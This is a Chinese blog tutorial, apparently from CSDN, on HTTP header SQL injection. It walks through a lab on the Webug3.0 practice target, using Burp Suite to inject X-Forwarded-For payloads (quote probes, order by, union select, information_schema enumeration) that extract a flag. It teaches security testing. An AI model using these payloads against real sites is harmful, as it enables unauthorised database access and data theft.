本章目的
普及HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。

HTTPHeader概述

>请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行
(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)。
>响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行
(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)。

HTTPHeader注入
有时候,后台开发人员为了验证客户端HTTPHeader(比如常用的Cookie验证等)或者通过HTTPHeader头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTPHeader的注入漏洞

HTTPHeader注入的前提条件
>能够对请求头消息进行修改
>修改的请求头信息能够带入数据库执行
>数据库没有对输入的请求头做过滤

常见的HTTPHeader注入类型
>Cookie注入
>Referer注入
>User-Agent注入
>XFF注入

方法 描述
GET 请求指定的页面信息,并返回实体主体。
HEAD 类似于GET请求,只不过返回的响应中没有具体的内容,用于获取报头。
 
POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件),数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有资源的修改。
PUT 从客户端向服务器传送的数据取代指定的文档内容。
删除 请求服务器删除指定的页面。
连接 HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
选项 允许客户端查看服务器的性能。
痕迹 回显服务器收到的请求,主要用于测试或诊断。
修补 是对PUT方法的补充,用来对已知资源进行局部更新。
类别 状态码 信息性
1XX 请求正在处理 请求正在处理
2XX 成功 请求正常处理完毕
3XX 重定向 需要进行附加操作以完成请求
4XX 客户端错误 服务器无法处理请求
5XX 服务器处理请求错误 服务器错误

HTTPHeader内容
User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的
网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
Cookie:网站为了辩别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常
经过加密)。
Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号。
X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些
网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实
现伪造IP])。
client-IP:同上。
Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。

实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap 、 Burpsuite、 FireFox浏览器及其插件Hackbar、 等

(3)登录账号密码:操作系统帐号Administrator,密码684268
靶机:A-SQLi-Labs
(1)操作系统:win 2003
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0环境搭建
(3)登录账号密码:操作系统帐号root,密码248624

实验原理

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTPHeader进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTPHeader注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等

本实验的目标是:以Webug3.0网站的第五关为入口,利用报错注入的方式实施SQL注入,获取网站后台数据库中存放的flag。
1.访问Webug网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问粑机A-SQLi-Labs上的Webug
网站。webug3.0下载环境搭建使用_Gjqhs的博客-CSDN博客

2.利用Burpsuite工具抓包(建议点击链接查看)
(1)启动Burpsufte
在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。(每个人不一样)

(2)设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡"Proxy“->Options”,在ProxyListeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。

(3)开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

注意:上述设置完成之后,不要关闭Burpsuite!
(4)设置Firefox代理
回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的 FoxyProxy插件 图标按钮,在弹出的菜单中选择“为全部URLS启用代理服务器127.0.0.1:8080(也可以用别的)

...

开始拦截

打开5:头部注入,并抓取

成功抓取:

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。
3.寻找注入点
(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时
Response->Pretty下显示的内容:

图像化:

(2)在原始的HTTP请求包中添加头部字段×-Forwarded-For,并使用如下
payload:

X-Forwarded-For:a'

由此可以判断,目标网站在头部字段XFF处存在注入点。

4.判断网站查询的字段数
使用如下payload判断网站查询的字段数:

X-Forwarded-For:order by 2

未报错!

看看那个报错了

X-Forwarded-For:order by 3
X-Forwarded-For:order by 4
X=Forwarded-For:order by 5

思考一下为什么

X-Forwarded-For:order by 5

由上述结果可以判断,网站查询的字段数为4

5.判断网站的回显位置

使用如下 payload判断网站的回显位置:

X-Forwarded-For:union select 1,2,3,4

由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。

获取网站当前所在的数据库的库名

使用如下 payload获取网站当前所在的数据库的库名:

X-Forwarded-For:union select 1,database(),3,4

由上述结果可以得知,网站当前所在的数据库的库名为 pentesterlab。

7.获取 pentesterlab数据库中所有的表名

使用如下 payload获取 pentesterlab数据库中所有的表名

X-Forwarded-For: union select 1, group_concat(table_name), 3,4 from information_schema.tables where table_schema= 'pentesterlab'

由上述结果可以得知, pentesterlab数据库中含有 comment、flag、 goods和user四张表。其中,flag表中可能存放着flag信息

8.获取fag表中的字段名

使用如下 payload获取flag表中的字段名:

X-Forwarded-For: union select 1, group_concat(column_name ),3,4 from information_schema.columns where table_schema= 'pentesterlab' and table_name= 'flag'

9.获取flag表中的flag字段的内容

使用如下 payload获取flag表中的flag字段的内容

X-Forwarded-For: union select 1, flag, 3, 4 from pentesterlab.flag

由上述结果可以得知,该fag字段的内容为204f.....................b377。
实验至此结束。

SQL注入 ——sql数据库操作基础(一)

SOL注入——HTTP头部注入(六)

SQL注入——基于布尔的盲注(八)

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

SOL注入——HTTP头部注入(2)(七)相关推荐

  1. SOL注入——HTTP头部注入(六)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  2. SQL注入--HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  3. SQL注入-HTTP头部注入

    访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...

  4. SQL注入——HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  5. host头部注入漏洞--中危

    host头部注入漏洞--中危 漏洞原理 漏洞知识扩展 漏洞验证 情况一 情况二 修复方案 漏洞原理 为了方便获取网站域名,开发人员一般依赖于请求包中的Host首部字段.例如,在php里用_SERVER ...

  6. 网络安全——HTTP头部注入

    一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...

  7. Natas Wargame Level25 Writeup(头部注入+POST/GET注入)

    sourcecode核心代码: 1 <?php 2 // cheers and <3 to malvina 3 // - morla 4 5 function setLanguage(){ ...

  8. 依赖注入?依赖注入是如何实现解耦的?

    如何用最简单的方式解释依赖注入?依赖注入是如何实现解耦的? 第一章:小明和他的手机 从前有个人叫小明 小明有三大爱好,抽烟,喝酒-- 咳咳,不好意思,走错片场了.应该是逛知乎.玩王者农药和抢微信红包 ...

  9. Spring4.x(11)依赖注入-setter方法注入

    依赖注入-setter方法注入 通过无参构造函数+setter方法注入. 一.编写CustomerDao接口 package com.yiidian.dao; /*** * @author http: ...

最新文章

  1. JavaScript夯实基础系列(四):原型
  2. 按计算机的地位划分计算机网络可分为,2010年全国自考计算机网络基本原理模拟试卷(三)及答案...
  3. 一个空值_MySQL数据库表中 NULL 和空值到底有什么区别呢?
  4. 【学习笔记】斜率优化
  5. HDU ACM 1162 Eddy's picture
  6. 一个老鸟发的公司内部整理的 Android 学习路线图 Markdown 版本
  7. Vue.js 模板语法
  8. JDK14性能管理工具:Jconsole详解
  9. VS, VS Code, VS Online, VS xxx, 你都分清了吗?
  10. iOS - Swift NSData 数据
  11. 中修改环境变量_Golang入门(1):安装与配置环境变量的意义
  12. XidianOJ 1090 爬树的V8
  13. 如何腾出计算机内存,电脑C盘又飘红?教你这样清理内存,可以轻松腾出大量空间...
  14. spring-mvc文件上传与下载
  15. [转载] Python使用list.reverse()返回None
  16. OSPFv3中LSA详解(七)——Type4类LSA详解
  17. Java基础知识强化之IO流笔记19:FileOutputStream的三个write方法
  18. 三星手机微信下载的文件路径
  19. c语言判断一个数独是否合法,判断数独是否合法
  20. 半导体——本征半导体、杂质半导体、PN结

热门文章

  1. c# 分类 机器学习_C#也能做机器学习?基于.NET的AI智能应用市场还是一片“处女地”...
  2. oracle10g优化器默认,Oracle10g数据库优化实用心得小结
  3. matlab组织的培训讲义,matlab培训讲义.doc
  4. python plt_python的plt
  5. hdfs中与file数组类似的数组_Chapter05 Java中的数组
  6. opencv函数findcontours_OpenCV系列之轮廓入门 | 二十一
  7. 博人眼球的 电子苍蝇
  8. 《c语言从入门到精通》看书笔记——第13章 预处理
  9. oneinstack_OneinStack lnmp网站环境部署Namecheap SSL安全证书方法
  10. 小米无法链接华硕路由器_2000元的华硕电竞路由器开箱,如此高贵,体验是怎样的?...